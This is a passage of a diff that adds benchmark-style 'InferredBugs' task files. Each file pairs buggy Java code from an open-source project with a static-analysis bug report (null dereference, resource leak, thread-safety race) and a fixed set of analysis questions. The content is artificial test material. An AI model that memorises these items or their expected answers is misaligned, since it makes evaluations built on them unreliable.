+    assertFalse(inv.isComplete());
+    inv.completeOrRetry(null, null);
+
+    // Then
+    assertEquals(inv.getExecutions(), 2);
+    assertTrue(inv.isComplete());
+    assertNull(inv.getLastResult());
+    assertNull(inv.getLastFailure());
+    verifyScheduler(1);
+    verify(future).complete(null, null, true);
+  }
+
+  @SuppressWarnings("unchecked")
+  private void resetMocks() {
+    reset(scheduler);
+    reset(future);
+    reset(callable);
+  }
+
+  private void verifyScheduler(int executions) {
+    verify(scheduler, times(executions)).schedule(any(Callable.class), any(Long.class), any(TimeUnit.class));
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `AsyncExecutionTest.inv.listeners` last assigned on line 76 could be null and is dereferenced by call to `prepare()` at line 81.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AsyncExecutionTest.testRetryForResult()
+
+### Procedure Id:
+net.jodah.recurrent.AsyncExecutionTest.testRetryForResult():void.854b0ab46aa979ed5a36629454fea20c
+
+### File:
+src/test/java/net/jodah/recurrent/AsyncExecutionTest.java
+
+### Key:
+AsyncExecutionTest.java|testRetryForResult|NULL_DEREFERENCE
+
+### Node Key:
+c4736613d68023e91e74719fe7f11fcf
+
+### Hash:
+4c27d487a407109b4975b3b1a6d8dd61
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8819/instruction.md b/inferredbugs-8819/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d9d20d1b5e02100059af65fb8c23b877bfc5919d
--- /dev/null
+++ b/inferredbugs-8819/instruction.md
@@ -0,0 +1,333 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fluent-logger-java
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+//
+// A Structured Logger for Fluent
+//
+// Copyright (C) 2011 - 2012 Muga Nishizawa
+//
+//    Licensed under the Apache License, Version 2.0 (the "License");
+//    you may not use this file except in compliance with the License.
+//    You may obtain a copy of the License at
+//
+//        http://www.apache.org/licenses/LICENSE-2.0
+//
+//    Unless required by applicable law or agreed to in writing, software
+//    distributed under the License is distributed on an "AS IS" BASIS,
+//    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//    See the License for the specific language governing permissions and
+//    limitations under the License.
+//
+package org.fluentd.logger.sender;
+
+import java.io.BufferedOutputStream;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.net.SocketAddress;
+import java.nio.ByteBuffer;
+import java.util.LinkedList;
+import java.util.Map;
+import java.util.logging.Level;
+
+import org.msgpack.MessagePack;
+
+public class RawSocketSender implements Sender {
+    private static final java.util.logging.Logger LOG =
+        java.util.logging.Logger.getLogger(RawSocketSender.class.getName());
+
+    /**
+     * Calcurate exponential delay for reconnecting
+     */
+    private static class ExponentialDelayReconnector {
+        private double wait = 0.5;
+
+        private double waitIncrRate = 1.5;
+
+        private double waitMax = 60;
+
+        private int waitMaxCount;
+
+        private LinkedList<Long> errorHistory;
+
+        public ExponentialDelayReconnector() {
+            waitMaxCount = getWaitMaxCount();
+            errorHistory = new LinkedList<Long>();
+        }
+
+        private int getWaitMaxCount() {
+            double r = waitMax / wait;
+            for (int j = 1; j <= 100; j++) {
+                if (r < waitIncrRate) {
+                    return j + 1;
+                }
+                r = r / waitIncrRate;
+            }
+            return 100;
+        }
+
+        public void addErrorHistory(long timestamp) {
+            errorHistory.addLast(timestamp);
+            if (errorHistory.size() > waitMaxCount) {
+                errorHistory.removeFirst();
+            }
+        }
+
+        public void clearErrorHistory() {
+            errorHistory.clear();
+        }
+
+        public boolean enableReconnection(long timestamp) {
+            int size = errorHistory.size();
+            if (size == 0) {
+                return true;
+            }
+
+            double suppressSec;
+            if (size < waitMaxCount) {
+                suppressSec = wait * Math.pow(waitIncrRate, size - 1);
+            } else {
+                suppressSec = waitMax;
+            }
+
+            return (!(timestamp - errorHistory.getLast() < suppressSec));
+        }
+    }
+
+    private MessagePack msgpack;
+
+    private SocketAddress server;
+
+    private Socket socket;
+
+    private String name;
+
+    private int timeout;
+
+    private BufferedOutputStream out;
+
+    private ByteBuffer pendings;
+
+    private ExponentialDelayReconnector reconnector;
+
+    public RawSocketSender() {
+        this("localhost", 24224);
+    }
+
+    public RawSocketSender(String host, int port) {
+        this(host, port, 3 * 1000, 8 * 1024 * 1024);
+    }
+
+    public RawSocketSender(String host, int port, int timeout, int bufferCapacity) {
+        msgpack = new MessagePack();
+        msgpack.register(Event.class, EventTemplate.INSTANCE);
+        pendings = ByteBuffer.allocate(bufferCapacity);
+        server = new InetSocketAddress(host, port);
+        name = String.format("%s{host=%s,port=%d,timeout=%d,bufCap=%d}",
+                new Object[] { this.getClass().getName(), host, port, timeout,
+                        bufferCapacity });
+        reconnector = new ExponentialDelayReconnector();
+        open();
+    }
+
+    private void open() {
+        try {
+            connect();
+        } catch (IOException e) {
+            LOG.severe("Failed to connect fluentd: " + server.toString());
+            LOG.severe("Connection will be retried");
+            e.printStackTrace();
+            close();
+        }
+    }
+
+    private void connect() throws IOException {
+        try {
+            socket = new Socket();
+            socket.connect(server);
+            // the timeout value to be used in milliseconds
+            socket.setSoTimeout(timeout);
+            out = new BufferedOutputStream(socket.getOutputStream());
+            reconnector.clearErrorHistory();
+        } catch (IOException e) {
+            reconnector.addErrorHistory(System.currentTimeMillis());
+            throw e;
+        }
+    }
+
+    private void reconnect() throws IOException {
+        if (socket == null) {
+            connect();
+        } else if (socket.isClosed() || (!socket.isConnected())) {
+            close();
+            connect();
+        }
+    }
+
+    public void close() {
+        // close output stream
+        if (out != null) {
+            try {
+                out.close();
+            } catch (IOException e) { // ignore
+            } finally {
+                out = null;
+            }
+        }
+
+        // close socket
+        if (socket != null) {
+            try {
+                socket.close();
+            } catch (IOException e) { // ignore
+            } finally {
+                socket = null;
+            }
+        }
+    }
+
+    public boolean emit(String tag, Map<String, Object> data) {
+        return emit(tag, System.currentTimeMillis() / 1000, data);
+    }
+
+    public boolean emit(String tag, long timestamp, Map<String, Object> data) {
+        return emit(new Event(tag, timestamp, data));
+    }
+
+    protected boolean emit(Event event) {
+        if (LOG.isLoggable(Level.FINE)) {
+            LOG.fine(String.format("Created %s", new Object[] { event }));
+        }
+
+        byte[] bytes = null;
+        try {
+            // serialize tag, timestamp and data
+            bytes = msgpack.write(event);
+        } catch (IOException e) {
+            LOG.severe("Cannot serialize event: " + event);
+            e.printStackTrace();
+            return false;
+        }
+
+        // send serialized data
+        return send(bytes);
+    }
+
+    private synchronized boolean send(byte[] bytes) {
+        // buffering
+        if (pendings.position() + bytes.length > pendings.capacity()) {
+            LOG.severe("Cannot send logs to " + server.toString());
+            return false;
+        }
+        pendings.put(bytes);
+
+        try {
+            // suppress reconnection burst
+            if (!reconnector.enableReconnection(System.currentTimeMillis())) {
+                return true;
+            }
+
+            // check whether connection is established or not
+            reconnect();
+
+            // write data
+            out.write(getBuffer());
+            out.flush();
+
+            clearBuffer();
+        } catch (IOException e) {
+            // close socket
+            close();
+        }
+        return true;
+    }
+
+    public byte[] getBuffer() {
+        int len = pendings.position();
+        pendings.position(0);
+        byte[] ret = new byte[len];
+        pendings.get(ret, 0, len);
+        return ret;
+    }
+
+    void clearBuffer() {
+        pendings.clear();
+    }
+
+    @Override
+    public String toString() {
+        return name;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStream` acquired by call to `reconnect()` at line 228 is not released after line 237.
+**Note**: potential exception at line 231
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean RawSocketSender.send(byte[])
+
+### Procedure Id:
+org.fluentd.logger.sender.RawSocketSender.send(byte[]):boolean.279d9e40c9e85c6e6a8bb46f9effe9d2
+
+### File:
+src/main/java/org/fluentd/logger/sender/RawSocketSender.java
+
+### Key:
+RawSocketSender.java|send|RESOURCE_LEAK
+
+### Node Key:
+1359f8e76071fbb66843860f5f06e006
+
+### Hash:
+379dee21c10f1efae257bd2a5bb7bd47
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8826/instruction.md b/inferredbugs-8826/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f7afaf68b11f6000fa7a5d930bee086b989faf49
--- /dev/null
+++ b/inferredbugs-8826/instruction.md
@@ -0,0 +1,203 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** closure-stylesheets
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2013 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.common.css.compiler.passes;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableListMultimap;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.LinkedListMultimap;
+import com.google.common.collect.ListMultimap;
+import com.google.common.collect.Maps;
+import com.google.common.css.compiler.ast.CssCompilerPass;
+import com.google.common.css.compiler.ast.CssDefinitionNode;
+import com.google.common.css.compiler.ast.CssMixinDefinitionNode;
+import com.google.common.css.compiler.ast.CssProvideNode;
+import com.google.common.css.compiler.ast.CssRequireNode;
+import com.google.common.css.compiler.ast.DefaultTreeVisitor;
+import com.google.common.css.compiler.ast.VisitController;
+
+import java.util.Map;
+
+/**
+ * A compiler pass to help find missing {@code @require} lines for def constant references
+ * and mixins.
+ * This pass simply collects namespaces that correpond to constant definitions and mixins.
+ * Also see the CheckMissingRequire pass that is used in conjunction with this one.
+ *
+ */
+public final class CollectProvideNamespaces extends DefaultTreeVisitor implements CssCompilerPass {
+  private final VisitController visitController;
+
+  // Key: filename; Value: provide namespace
+  private final Map<String, String> filenameProvideMap = Maps.newHashMap();
+  // Key: filename; Value: require namespace
+  private final ListMultimap<String, String> filenameRequireMap = LinkedListMultimap.create();
+
+  // Multiple namespaces can contain the same defs due to duplicate defs (or mods).
+  // Key: def name; Value: provide namespace
+  private final ListMultimap<String, String> defProvideMap = LinkedListMultimap.create();
+  // Key: defmixin name; Value: provide namespace
+  private final ListMultimap<String, String> defmixinProvideMap = LinkedListMultimap.create();
+
+  public Map<String, String> getFilenameProvideMap() {
+    return ImmutableMap.copyOf(filenameProvideMap);
+  }
+
+  public ListMultimap<String, String> getFilenameRequireMap() {
+    return ImmutableListMultimap.copyOf(filenameRequireMap);
+  }
+
+  public ListMultimap<String, String> getDefProvideMap() {
+    return ImmutableListMultimap.copyOf(defProvideMap);
+  }
+
+  public ListMultimap<String, String> getDefmixinProvideMap() {
+    return ImmutableListMultimap.copyOf(defmixinProvideMap);
+  }
+
+  public CollectProvideNamespaces(VisitController visitController) {
+    this.visitController = visitController;
+  }
+
+  @Override
+  public boolean enterProvideNode(CssProvideNode node) {
+    Preconditions.checkState(node.getSourceCodeLocation() != null);
+    String filename = node.getSourceCodeLocation().getSourceCode().getFileName();
+    filenameProvideMap.put(filename, node.getProvide());
+    return true;
+  }
+
+  @Override
+  public boolean enterRequireNode(CssRequireNode node) {
+    Preconditions.checkState(node.getSourceCodeLocation() != null);
+    String filename = node.getSourceCodeLocation().getSourceCode().getFileName();
+    filenameRequireMap.put(filename, node.getRequire());
+    return true;
+  }
+
+  @Override
+  public boolean enterDefinition(CssDefinitionNode node) {
+    if (node.getSourceCodeLocation() == null) {
+      // Cannot enforce provide / require for generated GSS components.
+      return true;
+    }
+    String filename = node.getSourceCodeLocation().getSourceCode().getFileName();
+    String provideNamespace = filenameProvideMap.get(filename);
+    // Remove this after switching to the new syntax.
+    if (provideNamespace == null) {  // ignore old format @provide
+      return true;
+    }
+    defProvideMap.put(node.getName().getValue(), provideNamespace);
+    return true;
+  }
+
+  @Override
+  public boolean enterMixinDefinition(CssMixinDefinitionNode node) {
+    if (node.getSourceCodeLocation() == null) {
+      // Cannot enforce provide / require for generated GSS components.
+      return true;
+    }
+    String filename = node.getSourceCodeLocation().getSourceCode().getFileName();
+    String provideNamespace = filenameProvideMap.get(filename);
+    // Remove this after switching to the new syntax.
+    if (provideNamespace == null) {  // ignore old format @provide
+      return true;
+    }
+    Preconditions.checkArgument(provideNamespace != null);
+    defmixinProvideMap.put(node.getDefinitionName(), provideNamespace);
+    return true;
+  }
+
+  @Override
+  public void runPass() {
+    visitController.startVisit(this);
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_IMMUTABLE_CAST
+
+### Qualifier:
+Method getFilenameProvideMap() returns class com.google.common.collect.ImmutableMap but the return type is class java.util.Map. Make sure that users of this method do not try to modify the collection.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Map CollectProvideNamespaces.getFilenameProvideMap()
+
+### Procedure Id:
+com.google.common.css.compiler.passes.CollectProvideNamespaces.getFilenameProvideMap():java.util.Map.79ca9581aa91a009c4405b4f87f1d21c
+
+### File:
+src/com/google/common/css/compiler/passes/CollectProvideNamespaces.java
+
+### Key:
+CollectProvideNamespaces.java|getFilenameProvideMap|CHECKERS_IMMUTABLE_CAST
+
+### Node Key:
+a6910ae797b71d863caed85a9357701b
+
+### Hash:
+5bb59bebf1436772f137ddac44a4d189
+
+### Bug Type Hum:
+Checkers Immutable Cast
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8900/instruction.md b/inferredbugs-8900/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..be343b638ef6f5c64d7b809ea5151598f100245e
--- /dev/null
+++ b/inferredbugs-8900/instruction.md
@@ -0,0 +1,286 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jkcp
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * 维护kcp状态的线程
+ */
+package org.beykery.jkcp;
+
+import io.netty.channel.socket.DatagramPacket;
+import java.net.InetSocketAddress;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.PriorityQueue;
+import java.util.Queue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+/**
+ *
+ * @author beykery
+ */
+public class KcpThread extends Thread
+{
+
+  private final Output out;
+  private final LinkedBlockingQueue<DatagramPacket> inputs;
+  private boolean running;
+  private final Map<InetSocketAddress, KcpOnUdp> kcps;
+  private final KcpListerner listerner;
+  private int nodelay;
+  private int interval = Kcp.IKCP_INTERVAL;
+  private int resend;
+  private int nc;
+  private int sndwnd = Kcp.IKCP_WND_SND;
+  private int rcvwnd = Kcp.IKCP_WND_RCV;
+  private int mtu = Kcp.IKCP_MTU_DEF;
+  private long timeout;//idle
+  
+  
+  private Object wakeup = new Object();
+  public void threadNotify() {
+      synchronized(wakeup) {
+           this.wakeup.notify();
+      }
+  }
+  private Queue<KcpOnUdp> pqueue;
+  private Comparator<KcpOnUdp> cmp = new Comparator<KcpOnUdp>() { 
+      @Override
+      public int compare(KcpOnUdp e1, KcpOnUdp e2) { 
+        return (int) (e2.getTimeout() - e1.getTimeout()); 
+      } 
+    }; 
+  /**
+   * fastest: ikcp_nodelay(kcp, 1, 20, 2, 1) nodelay: 0:disable(default),
+   * 1:enable interval: internal update timer interval in millisec, default is
+   * 100ms resend: 0:disable fast resend(default), 1:enable fast resend nc:
+   * 0:normal congestion control(default), 1:disable congestion control
+   *
+   * @param nodelay
+   * @param interval
+   * @param resend
+   * @param nc
+   */
+  public void noDelay(int nodelay, int interval, int resend, int nc)
+  {
+    this.nodelay = nodelay;
+    this.interval = interval;
+    this.resend = resend;
+    this.nc = nc;
+  }
+
+  /**
+   * set maximum window size: sndwnd=32, rcvwnd=32 by default
+   *
+   * @param sndwnd
+   * @param rcvwnd
+   */
+  public void wndSize(int sndwnd, int rcvwnd)
+  {
+    this.sndwnd = sndwnd;
+    this.rcvwnd = rcvwnd;
+  }
+
+  /**
+   * change MTU size, default is 1400
+   *
+   * @param mtu
+   */
+  public void setMtu(int mtu)
+  {
+    this.mtu = mtu;
+  }
+
+  /**
+   * kcp工作线程
+   *
+   * @param out
+   * @param listerner
+   */
+  public KcpThread(Output out, KcpListerner listerner)
+  {
+    this.out = out;
+    this.listerner = listerner;
+    inputs = new LinkedBlockingQueue<>();
+    kcps = new HashMap<>();
+    pqueue = new PriorityQueue<>(10, cmp);
+  }
+
+  /**
+   * 开启线程
+   */
+  @Override
+  public synchronized void start()
+  {
+    if (!this.running)
+    {
+      this.running = true;
+      super.start();
+    }
+  }
+
+  /**
+   * 关闭线程
+   */
+  public void close()
+  {
+    this.running = false;
+  }
+
+  @Override
+  public void run()
+  {
+    while (this.running)
+    {
+      //input
+      while (!this.inputs.isEmpty())
+      {
+        DatagramPacket dp = this.inputs.remove();
+        KcpOnUdp ku = this.kcps.get(dp.sender());
+        if (ku == null)
+        {
+          ku = new KcpOnUdp(this.out, dp.sender(), this.listerner);//初始化
+          ku.noDelay(nodelay, interval, resend, nc);
+          ku.wndSize(sndwnd, rcvwnd);
+          ku.setMtu(mtu);
+          ku.setTimeout(timeout);
+          this.kcps.put(dp.sender(), ku);
+          pqueue.add(ku);
+        }
+        ku.input(dp.content());
+      }
+      
+      //选出第一个kcp更新状态
+      KcpOnUdp first = pqueue.poll();
+      if(first != null && first.getTimeout() < System.currentTimeMillis()) {
+          first.update();
+          if(!first.isClosed()) {
+              pqueue.add(first);
+          } else {
+              this.kcps.remove((InetSocketAddress) first.getKcp().getUser());
+          }
+      }
+     
+      //每30s，更新一遍所有的kcp状态
+      if(System.currentTimeMillis()%(1000*30) == 0) {
+        //update
+        KcpOnUdp temp = null;
+        for (KcpOnUdp ku : this.kcps.values())
+        {
+          ku.update();
+          if (ku.isClosed()) {//删掉过时的kcp
+            this.kcps.remove((InetSocketAddress) temp.getKcp().getUser());
+            pqueue.remove(ku);
+          }
+        }
+      }
+      
+    //等待 
+    try {  
+        synchronized(wakeup){  
+          wakeup.wait(5*60*1000);
+        }
+    } catch (InterruptedException ex) {
+        Logger.getLogger(KcpThread.class.getName()).log(Level.SEVERE, null, ex);
+    }
+       
+    }
+  }
+
+  /**
+   * 收到输入
+   *
+   * @param addr
+   * @param content
+   */
+  void input(DatagramPacket dp)
+  {
+    this.inputs.add(dp);
+    this.threadNotify();
+  }
+
+  public void setTimeout(long timeout)
+  {
+    this.timeout = timeout;
+  }
+
+  public long getTimeout()
+  {
+    return timeout;
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.beykery.jkcp.KcpThread.run` reads without synchronization from `this.org.beykery.jkcp.KcpThread.interval`. Potentially races with write in method `KcpThread.noDelay(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void KcpThread.run()
+
+### Procedure Id:
+org.beykery.jkcp.KcpThread.run():void.bed5863ed90560ead425a16199a3e750
+
+### File:
+src/main/java/org/beykery/jkcp/KcpThread.java
+
+### Key:
+KcpThread.java|run|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+aa76283207b735de5b9b5e993949a387
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8907/instruction.md b/inferredbugs-8907/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1ad068b094476e74bd2fb3c1b7e4d3269c7e7eea
--- /dev/null
+++ b/inferredbugs-8907/instruction.md
@@ -0,0 +1,135 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** word
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * 
+ * APDPlat - Application Product Development Platform
+ * Copyright (c) 2013, 杨尚川, yang-shangchuan@qq.com
+ * 
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ * 
+ */
+
+package org.apdplat.word.util;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ *
+ * @author 杨尚川
+ */
+public class GenericTrieTest {
+    private final GenericTrie<Integer> trie = new GenericTrie<>();
+    @Before
+    public void setUp() {
+        trie.put("杨尚川", 100);
+        trie.put("杨尚喜", 99);
+        trie.put("杨尚丽", 98);
+        trie.put("中华人民共和国", 1);
+    }
+    @After
+    public void tearDown() {
+        trie.clear();
+    }
+    @Test
+    public void testClear() {
+        Assert.assertEquals(100, trie.get("杨尚川"), 0);
+        Assert.assertEquals(1, trie.get("中华人民共和国"), 0);
+        trie.clear();
+        Assert.assertEquals(null, trie.get("杨尚川"));
+        Assert.assertEquals(null, trie.get("中华人民共和国"));
+    }
+    @Test
+    public void testGet() {
+        Assert.assertEquals(100, trie.get("杨尚川"), 0);
+        Assert.assertEquals(99, trie.get("杨尚喜"), 0);
+        Assert.assertEquals(98, trie.get("杨尚丽"), 0);
+        Assert.assertEquals(1, trie.get("中华人民共和国"), 0);
+        Assert.assertEquals(null, trie.get("杨"));
+        Assert.assertEquals(null, trie.get("杨尚"));
+    }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `GenericTrieTest.trie.get("\\230\\157\\168\\229\\176\\154\\229\\183\\157")` could be null and is dereferenced at line 55.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GenericTrieTest.testGet()
+
+### Procedure Id:
+org.apdplat.word.util.GenericTrieTest.testGet():void.16d91a2f852d30acf036645ee7a06b43
+
+### File:
+src/test/java/org/apdplat/word/util/GenericTrieTest.java
+
+### Key:
+GenericTrieTest.java|testGet|NULL_DEREFERENCE
+
+### Node Key:
+3392ddd9e7af3710d0647e5067e4a3e1
+
+### Hash:
+6a90b22580a2fedcd8496647ad03224b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8909/instruction.md b/inferredbugs-8909/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8480773cbbbcbfc00cf4b71983be8fcda9cce394
--- /dev/null
+++ b/inferredbugs-8909/instruction.md
@@ -0,0 +1,113 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** GlobalWarming
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package net.porillo.effect.negative.formation;
+
+import com.google.gson.Gson;
+import com.google.gson.JsonObject;
+import com.google.gson.reflect.TypeToken;
+import net.porillo.effect.api.ListenerClimateEffect;
+import net.porillo.engine.ClimateEngine;
+import net.porillo.util.MapUtil;
+import org.bukkit.Material;
+import org.bukkit.event.EventHandler;
+import org.bukkit.event.block.BlockFormEvent;
+
+import java.util.TreeMap;
+
+public class SnowForm extends ListenerClimateEffect {
+
+    private TreeMap<Double, Integer> heightMap;
+
+    @EventHandler
+    public void blockFormEvent(BlockFormEvent event) {
+        if (event.getBlock().getType() == Material.ICE) {
+            double temp = ClimateEngine.getInstance().getClimateEngine(event.getBlock().getWorld().getName()).getTemperature();
+
+            if (event.getBlock().getY() < MapUtil.searchTreeMap(heightMap, temp)) {
+                event.setCancelled(true);
+            }
+        }
+    }
+
+    @Override
+    public void setJsonModel(JsonObject jsonModel) {
+        super.setJsonModel(jsonModel);
+        this.heightMap = new Gson().fromJson(jsonModel, new TypeToken<TreeMap<Double, Integer>>(){}.getType());
+        if (this.heightMap == null) {
+            unregister();
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `searchTreeMap(SnowForm.heightMap,valueOf(temp))` could be null and is dereferenced at line 24.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SnowForm.blockFormEvent(BlockFormEvent)
+
+### Procedure Id:
+net.porillo.effect.negative.formation.SnowForm.blockFormEvent(org.bukkit.event.block.BlockFormEvent).1d2d6dcb62dac8af0d9c7c46d9f7dc78
+
+### File:
+src/main/java/net/porillo/effect/negative/formation/SnowForm.java
+
+### Key:
+SnowForm.java|blockFormEvent|NULL_DEREFERENCE
+
+### Node Key:
+4e1c2c26c3ac0b39dda101e4d445ea98
+
+### Hash:
+99fe8b8ac50bb392f35f9c2c5ef9ba81
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8931/instruction.md b/inferredbugs-8931/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0e22ca3f9ed3457ad6bbb675298bd2612d17cacb
--- /dev/null
+++ b/inferredbugs-8931/instruction.md
@@ -0,0 +1,147 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MediathekView
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * MediathekView
+ * Copyright (C) 2008 W. Xaver
+ * W.Xaver[at]googlemail.com
+ * http://zdfmediathk.sourceforge.net/
+ *
